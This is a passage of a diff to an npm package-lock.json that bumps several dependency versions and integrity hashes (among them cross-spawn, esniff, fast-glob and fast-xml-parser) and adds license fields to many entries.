-        "array.prototype.flatmap": "^1.3.2",
+        "@rtsao/scc": "^1.1.0",
+        "array-includes": "^3.1.9",
+        "array.prototype.findlastindex": "^1.2.6",
+        "array.prototype.flat": "^1.3.3",
+        "array.prototype.flatmap": "^1.3.3",
         "debug": "^3.2.7",
         "doctrine": "^2.1.0",
         "eslint-import-resolver-node": "^0.3.9",
-        "eslint-module-utils": "^2.8.0",
-        "hasown": "^2.0.0",
-        "is-core-module": "^2.13.1",
+        "eslint-module-utils": "^2.12.1",
+        "hasown": "^2.0.2",
+        "is-core-module": "^2.16.1",
         "is-glob": "^4.0.3",
         "minimatch": "^3.1.2",
-        "object.fromentries": "^2.0.7",
-        "object.groupby": "^1.0.1",
-        "object.values": "^1.1.7",
+        "object.fromentries": "^2.0.8",
+        "object.groupby": "^1.0.3",
+        "object.values": "^1.2.1",
         "semver": "^6.3.1",
-        "tsconfig-paths": "^3.14.2"
+        "string.prototype.trimend": "^1.0.9",
+        "tsconfig-paths": "^3.15.0"
       },
       "engines": {
         "node": ">=4"
       },
       "peerDependencies": {
-        "eslint": "^2 || ^3 || ^4 || ^5 || ^6 || ^7.2.0 || ^8"
+        "eslint": "^2 || ^3 || ^4 || ^5 || ^6 || ^7.2.0 || ^8 || ^9"
       }
     },
     "node_modules/eslint-plugin-import/node_modules/debug": {
@@ -5854,6 +6374,7 @@
       "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
       "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ms": "^2.1.1"
       }
@@ -5863,6 +6384,7 @@
       "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz",
       "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==",
       "dev": true,
+      "license": "Apache-2.0",
       "dependencies": {
         "esutils": "^2.0.2"
       },
@@ -5875,6 +6397,7 @@
       "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
       "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
       "dev": true,
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver.js"
       }
@@ -5884,6 +6407,7 @@
       "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-7.2.2.tgz",
       "integrity": "sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==",
       "dev": true,
+      "license": "BSD-2-Clause",
       "dependencies": {
         "esrecurse": "^4.3.0",
         "estraverse": "^5.2.0"
@@ -5900,6 +6424,7 @@
       "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz",
       "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==",
       "dev": true,
+      "license": "Apache-2.0",
       "engines": {
         "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
       },
@@ -5912,6 +6437,7 @@
       "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
       "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "fast-deep-equal": "^3.1.1",
         "fast-json-stable-stringify": "^2.0.0",
@@ -5924,10 +6450,11 @@
       }
     },
     "node_modules/eslint/node_modules/cross-spawn": {
-      "version": "7.0.3",
-      "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz",
-      "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==",
+      "version": "7.0.6",
+      "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
+      "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "path-key": "^3.1.0",
         "shebang-command": "^2.0.0",
@@ -5942,6 +6469,7 @@
       "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz",
       "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "is-glob": "^4.0.3"
       },
@@ -5953,13 +6481,15 @@
       "version": "0.4.1",
       "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
       "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/eslint/node_modules/path-key": {
       "version": "3.1.1",
       "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
       "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -5969,6 +6499,7 @@
       "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
       "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "shebang-regex": "^3.0.0"
       },
@@ -5981,6 +6512,7 @@
       "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
       "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -5990,6 +6522,7 @@
       "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
       "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "isexe": "^2.0.0"
       },
@@ -6001,12 +6534,18 @@
       }
     },
     "node_modules/esniff": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/esniff/-/esniff-1.1.0.tgz",
-      "integrity": "sha512-vmHXOeOt7FJLsqofvFk4WB3ejvcHizCd8toXXwADmYfd02p2QwHRgkUbhYDX54y08nqk818CUTWipgZGlyN07g==",
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/esniff/-/esniff-2.0.1.tgz",
+      "integrity": "sha512-kTUIGKQ/mDPFoJ0oVfcmyJn4iBDRptjNVIzwIFR7tqWXdVI9xfA2RMwY/gbSpJG3lkdWNEjLap/NqVHZiJsdfg==",
+      "license": "ISC",
       "dependencies": {
-        "d": "1",
-        "es5-ext": "^0.10.12"
+        "d": "^1.0.1",
+        "es5-ext": "^0.10.62",
+        "event-emitter": "^0.3.5",
+        "type": "^2.7.2"
+      },
+      "engines": {
+        "node": ">=0.10"
       }
     },
     "node_modules/espree": {
@@ -6014,6 +6553,7 @@
       "resolved": "https://registry.npmjs.org/espree/-/espree-9.6.1.tgz",
       "integrity": "sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==",
       "dev": true,
+      "license": "BSD-2-Clause",
       "dependencies": {
         "acorn": "^8.9.0",
         "acorn-jsx": "^5.3.2",
@@ -6030,6 +6570,7 @@
       "version": "4.0.1",
       "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz",
       "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==",
+      "license": "BSD-2-Clause",
       "bin": {
         "esparse": "bin/esparse.js",
         "esvalidate": "bin/esvalidate.js"
@@ -6039,10 +6580,11 @@
       }
     },
     "node_modules/esquery": {
-      "version": "1.5.0",
-      "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.5.0.tgz",
-      "integrity": "sha512-YQLXUplAwJgCydQ78IMJywZCceoqk1oH01OERdSAJc/7U2AylwjhSCLDEtqwg811idIS/9fIU5GjG73IgjKMVg==",
+      "version": "1.6.0",
+      "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.6.0.tgz",
+      "integrity": "sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
         "estraverse": "^5.1.0"
       },
@@ -6055,6 +6597,7 @@
       "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz",
       "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==",
       "dev": true,
+      "license": "BSD-2-Clause",
       "dependencies": {
         "estraverse": "^5.2.0"
       },
@@ -6066,6 +6609,7 @@
       "version": "1.2.0",
       "resolved": "https://registry.npmjs.org/essentials/-/essentials-1.2.0.tgz",
       "integrity": "sha512-kP/j7Iw7KeNE8b/o7+tr9uX2s1wegElGOoGZ2Xm35qBr4BbbEcH3/bxR2nfH9l9JANCq9AUrvKw+gRuHtZp0HQ==",
+      "license": "ISC",
       "dependencies": {
         "uni-global": "^1.0.0"
       }
@@ -6075,6 +6619,7 @@
       "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz",
       "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==",
       "dev": true,
+      "license": "BSD-2-Clause",
       "engines": {
         "node": ">=4.0"
       }
@@ -6084,6 +6629,7 @@
       "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz",
       "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==",
       "dev": true,
+      "license": "BSD-2-Clause",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -6092,6 +6638,7 @@
       "version": "0.3.5",
       "resolved": "https://registry.npmjs.org/event-emitter/-/event-emitter-0.3.5.tgz",
       "integrity": "sha512-D9rRn9y7kLPnJ+hMq7S/nhvoKwwvVJahBi2BPmx3bvbsEdK3W9ii8cBSGjP+72/LnM4n6fo3+dkCX5FeTQruXA==",
+      "license": "MIT",
       "dependencies": {
         "d": "1",
         "es5-ext": "~0.10.14"
@@ -6101,6 +6648,7 @@
       "version": "5.0.1",
       "resolved": "https://registry.npmjs.org/event-target-shim/-/event-target-shim-5.0.1.tgz",
       "integrity": "sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -6109,12 +6657,14 @@
       "version": "5.0.1",
       "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-5.0.1.tgz",
       "integrity": "sha512-GWkBvjiSZK87ELrYOSESUYeVIc9mvLLf/nXalMOS5dYrgZq9o5OVkbZAVM06CVxYsCwH9BDZFPlQTlPA1j4ahA==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/events": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/events/-/events-1.1.1.tgz",
       "integrity": "sha512-kEcvvCBByWXGnZy6JUlgAp2gBIUjfCAV6P6TgT1/aaQKcmuAEC4OZTV1I4EWQLz2gxZw76atuVyvHhTxvi0Flw==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.4.x"
       }
@@ -6124,6 +6674,7 @@
       "resolved": "https://registry.npmjs.org/execa/-/execa-7.2.0.tgz",
       "integrity": "sha512-UduyVP7TLB5IcAQl+OzLyLcS/l32W/GLg+AhHJ+ow40FOk2U3SAllPwR44v4vmdFwIWqpdwxxpQbF1n5ta9seA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "cross-spawn": "^7.0.3",
         "get-stream": "^6.0.1",
@@ -6143,10 +6694,11 @@
       }
     },
     "node_modules/execa/node_modules/cross-spawn": {
-      "version": "7.0.3",
-      "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz",
-      "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==",
+      "version": "7.0.6",
+      "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
+      "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "path-key": "^3.1.0",
         "shebang-command": "^2.0.0",
@@ -6161,6 +6713,7 @@
       "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-3.0.0.tgz",
       "integrity": "sha512-LnQR4bZ9IADDRSkvpqMGvt/tEJWclzklNgSw48V5EAaAeDd6qGvN8ei6k5p0tvxSR171VmGyHuTiAOfxAbr8kA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
       },
@@ -6173,6 +6726,7 @@
       "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-4.0.0.tgz",
       "integrity": "sha512-vqiC06CuhBTUdZH+RYl8sFrL096vA45Ok5ISO6sE/Mr1jRbGH4Csnhi8f3wKVl7x8mO4Au7Ir9D3Oyv1VYMFJw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=12"
       },
@@ -6185,6 +6739,7 @@
       "resolved": "https://registry.npmjs.org/onetime/-/onetime-6.0.0.tgz",
       "integrity": "sha512-1FlR+gjXK7X+AsAHso35MnyN5KqGwJRi/31ft6x0M194ht7S+rWAvd7PHss9xSKMzE0asv1pyIHaJYq+BbacAQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "mimic-fn": "^4.0.0"
       },
@@ -6200,6 +6755,7 @@
       "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
       "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -6209,6 +6765,7 @@
       "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
       "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "shebang-regex": "^3.0.0"
       },
@@ -6221,6 +6778,7 @@
       "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
       "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -6230,6 +6788,7 @@
       "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
       "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "isexe": "^2.0.0"
       },
@@ -6245,6 +6804,7 @@
       "resolved": "https://registry.npmjs.org/expand-template/-/expand-template-2.0.3.tgz",
       "integrity": "sha512-XYfuKMvj4O35f/pOXLObndIRvyQ+/+6AhODh+OKWj9S9498pHHn/IMszH+gt0fBCRWMNfk1ZSp5x3AifmnI2vg==",
       "dev": true,
+      "license": "(MIT OR WTFPL)",
       "engines": {
         "node": ">=6"
       }
@@ -6253,6 +6813,7 @@
       "version": "1.7.0",
       "resolved": "https://registry.npmjs.org/ext/-/ext-1.7.0.tgz",
       "integrity": "sha512-6hxeJYaL110a9b5TEJSj0gojyHQAmA2ch5Os+ySCiA1QGdS697XWY1pzsrSjqA9LDEEgdB/KypIlR59RcLuHYw==",
+      "license": "ISC",
       "dependencies": {
         "type": "^2.7.2"
       }
@@ -6261,6 +6822,7 @@
       "version": "2.2.2",
       "resolved": "https://registry.npmjs.org/ext-list/-/ext-list-2.2.2.tgz",
       "integrity": "sha512-u+SQgsubraE6zItfVA0tBuCBhfU9ogSRnsvygI7wht9TS510oLkBRXBsqopeUG/GBOIQyKZO9wjTqIu/sf5zFA==",
+      "license": "MIT",
       "dependencies": {
         "mime-db": "^1.28.0"
       },
@@ -6272,6 +6834,7 @@
       "version": "5.0.0",
       "resolved": "https://registry.npmjs.org/ext-name/-/ext-name-5.0.0.tgz",
       "integrity": "sha512-yblEwXAbGv1VQDmow7s38W77hzAgJAO50ztBLMcUyUBfxv1HC+LGwtiEN+Co6LtlqT/5uwVOxsD4TNIilWhwdQ==",
+      "license": "MIT",
       "dependencies": {
         "ext-list": "^2.0.0",
         "sort-keys-length": "^1.0.0"
@@ -6284,12 +6847,14 @@
       "version": "3.0.2",
       "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz",
       "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/external-editor": {
       "version": "3.1.0",
       "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.1.0.tgz",
       "integrity": "sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==",
+      "license": "MIT",
       "dependencies": {
         "chardet": "^0.7.0",
         "iconv-lite": "^0.4.24",
@@ -6306,23 +6871,26 @@
       "dev": true,
       "engines": [
         "node >=0.6.0"
-      ]
+      ],
+      "license": "MIT"
     },
     "node_modules/fast-deep-equal": {
       "version": "3.1.3",
       "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
-      "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="
+      "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==",
+      "license": "MIT"
     },
     "node_modules/fast-glob": {
-      "version": "3.3.2",
-      "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.2.tgz",
-      "integrity": "sha512-oX2ruAFQwf/Orj8m737Y5adxDQO0LAB7/S5MnxCdTNDd4p6BsyIVsv9JQsATbTSq8KHRpLwIHbVlUNatxd+1Ow==",
+      "version": "3.3.3",
+      "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz",
+      "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==",
+      "license": "MIT",
       "dependencies": {
         "@nodelib/fs.stat": "^2.0.2",
         "@nodelib/fs.walk": "^1.2.3",
         "glob-parent": "^5.1.2",
         "merge2": "^1.3.0",
-        "micromatch": "^4.0.4"
+        "micromatch": "^4.0.8"
       },
       "engines": {
         "node": ">=8.6.0"
@@ -6332,33 +6900,53 @@
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz",
       "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/fast-levenshtein": {
       "version": "2.0.6",
       "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz",
       "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/fast-safe-stringify": {
       "version": "2.1.1",
       "resolved": "https://registry.npmjs.org/fast-safe-stringify/-/fast-safe-stringify-2.1.1.tgz",
-      "integrity": "sha512-W+KJc2dmILlPplD/H4K9l9LcAHAfPtP6BY84uVLXQ6Evcz9Lcg33Y2z1IVblT6xdY54PXYVHEv+0Wpq8Io6zkA=="
+      "integrity": "sha512-W+KJc2dmILlPplD/H4K9l9LcAHAfPtP6BY84uVLXQ6Evcz9Lcg33Y2z1IVblT6xdY54PXYVHEv+0Wpq8Io6zkA==",
+      "license": "MIT"
     },
-    "node_modules/fast-xml-parser": {
-      "version": "4.2.5",
-      "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-4.2.5.tgz",
-      "integrity": "sha512-B9/wizE4WngqQftFPmdaMYlXoJlJOYxGQOanC77fq9k8+Z0v5dDSVh+3glErdIROP//s/jgb7ZuxKfB8nVyo0g==",
+    "node_modules/fast-uri": {
+      "version": "3.0.6",
+      "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.0.6.tgz",
+      "integrity": "sha512-Atfo14OibSv5wAp4VWNsFYE1AchQRTv9cBGWET4pZWHzYshFSS9NQI6I57rdKn9croWVMbYFbLhJ+yJvmZIIHw==",
       "funding": [
         {
-          "type": "paypal",
-          "url": "https://paypal.me/naturalintelligence"
+          "type": "github",
+          "url": "https://github.com/sponsors/fastify"
         },
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/fastify"
+        }
+      ],
+      "license": "BSD-3-Clause"
+    },
+    "node_modules/fast-xml-parser": {
+      "version": "4.4.1",
+      "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-4.4.1.tgz",
+      "integrity": "sha512-xkjOecfnKGkSsOwtZ5Pz7Us/T6mrbPQrq0nh+aCO5V9nk5NLWmasAHumTKjiPJPWANe+kAZ84Jc8ooJkzZ88Sw==",
+      "funding": [
         {
           "type": "github",
           "url": "https://github.com/sponsors/NaturalIntelligence"
+        },
+        {
+          "type": "paypal",
+          "url": "https://paypal.me/naturalintelligence"
         }
       ],
+      "license": "MIT",
       "dependencies": {
         "strnum": "^1.0.5"
       },
@@ -6370,14 +6958,16 @@
       "version": "1.0.16",
       "resolved": "https://registry.npmjs.org/fastest-levenshtein/-/fastest-levenshtein-1.0.16.tgz",
       "integrity": "sha512-eRnCtTTtGZFpQCwhJiUOuxPQWRXVKYDn0b2PeHfXL6/Zi53SLAzAHfVhVWK2AryC/WH05kGfxhFIPvTF0SXQzg==",
+      "license": "MIT",
       "engines": {
         "node": ">= 4.9.1"
       }
     },
     "node_modules/fastq": {
-      "version": "1.15.0",
-      "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.15.0.tgz",
-      "integrity": "sha512-wBrocU2LCXXa+lWBt8RoIRD89Fi8OdABODa/kEnyeyjS5aZO5/GNvI5sEINADqP/h8M29UHTHUb53sUu5Ihqdw==",
+      "version": "1.19.1",
+      "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.19.1.tgz",
+      "integrity": "sha512-GwLTyxkCXjXbxqIhTsMI2Nui8huMPtnxg7krajPJAjnEG/iiOS7i+zCtWGZR9G0NBKbXKh6X9m9UIsYX/N6vvQ==",
+      "license": "ISC",
       "dependencies": {
         "reusify": "^1.0.4"
       }
@@ -6386,6 +6976,7 @@
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz",
       "integrity": "sha512-cE1qsB/VwyQozZ+q1dGxR8LBYNZeofhEdUNGSMbQD3Gw2lAzX9Zb3uIU6Ebc/Fmyjo9AWWfnn0AUCHqtevs/8g==",
+      "license": "MIT",
       "dependencies": {
         "pend": "~1.2.0"
       }
@@ -6394,6 +6985,7 @@
       "version": "3.2.0",
       "resolved": "https://registry.npmjs.org/figures/-/figures-3.2.0.tgz",
       "integrity": "sha512-yaduQFRKLXYOGgEn6AZau90j3ggSOyiqXU0F9JZfeXYhNa+Jk4X+s45A2zg5jns87GAFa34BBm2kXw4XpNcbdg==",
+      "license": "MIT",
       "dependencies": {
         "escape-string-regexp": "^1.0.5"
       },
@@ -6408,6 +7000,7 @@
       "version": "1.0.5",
       "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
       "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.8.0"
       }
@@ -6417,6 +7010,7 @@
       "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz",
       "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "flat-cache": "^3.0.4"
       },
@@ -6428,6 +7022,7 @@
       "version": "16.5.4",
       "resolved": "https://registry.npmjs.org/file-type/-/file-type-16.5.4.tgz",
       "integrity": "sha512-/yFHK0aGjFEgDJjEKP0pWCplsPFPhwyfwevf/pVxiN0tmE4L9LmwWxWukdJSHdoCli4VgQLehjJtwQBnqmsKcw==",
+      "license": "MIT",
       "dependencies": {
         "readable-web-to-node-stream": "^3.0.0",
         "strtok3": "^6.2.4",
@@ -6444,6 +7039,7 @@
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/filename-reserved-regex/-/filename-reserved-regex-2.0.0.tgz",
       "integrity": "sha512-lc1bnsSr4L4Bdif8Xb/qrtokGbq5zlsms/CYH8PP+WtCkGNF65DPiQY8vG3SakEdRn8Dlnm+gW/qWKKjS5sZzQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -6452,6 +7048,7 @@
       "version": "4.3.0",
       "resolved": "https://registry.npmjs.org/filenamify/-/filenamify-4.3.0.tgz",
       "integrity": "sha512-hcFKyUG57yWGAzu1CMt/dPzYZuv+jAJUT85bL8mrXvNe6hWj6yEHEc4EdcgiA6Z3oi1/9wXJdZPXF2dZNgwgOg==",
+      "license": "MIT",
       "dependencies": {
         "filename-reserved-regex": "^2.0.0",
         "strip-outer": "^1.0.1",
@@ -6465,9 +7062,10 @@
       }
     },
     "node_modules/filesize": {
-      "version": "10.1.0",
-      "resolved": "https://registry.npmjs.org/filesize/-/filesize-10.1.0.tgz",
-      "integrity": "sha512-GTLKYyBSDz3nPhlLVPjPWZCnhkd9TrrRArNcy8Z+J2cqScB7h2McAzR6NBX6nYOoWafql0roY8hrocxnZBv9CQ==",
+      "version": "10.1.6",
+      "resolved": "https://registry.npmjs.org/filesize/-/filesize-10.1.6.tgz",
+      "integrity": "sha512-sJslQKU2uM33qH5nqewAwVB2QgR6w1aMNsYUp3aN5rMRyXEwJGmZvaWzeJFNTOXWlHQyBFCWrdj3fV/fsTOX8w==",
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">= 10.4.0"
       }
@@ -6477,6 +7075,7 @@
       "resolved": "https://registry.npmjs.org/fill-keys/-/fill-keys-1.0.2.tgz",
       "integrity": "sha512-tcgI872xXjwFF4xgQmLxi76GnwJG3g/3isB1l4/G5Z4zrbddGpBjqZCO9oEAcB5wX0Hj/5iQB3toxfO7in1hHA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-object": "~1.0.1",
         "merge-descriptors": "~1.0.0"
@@ -6486,9 +7085,10 @@
       }
     },
     "node_modules/fill-range": {
-      "version": "7.0.1",
-      "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
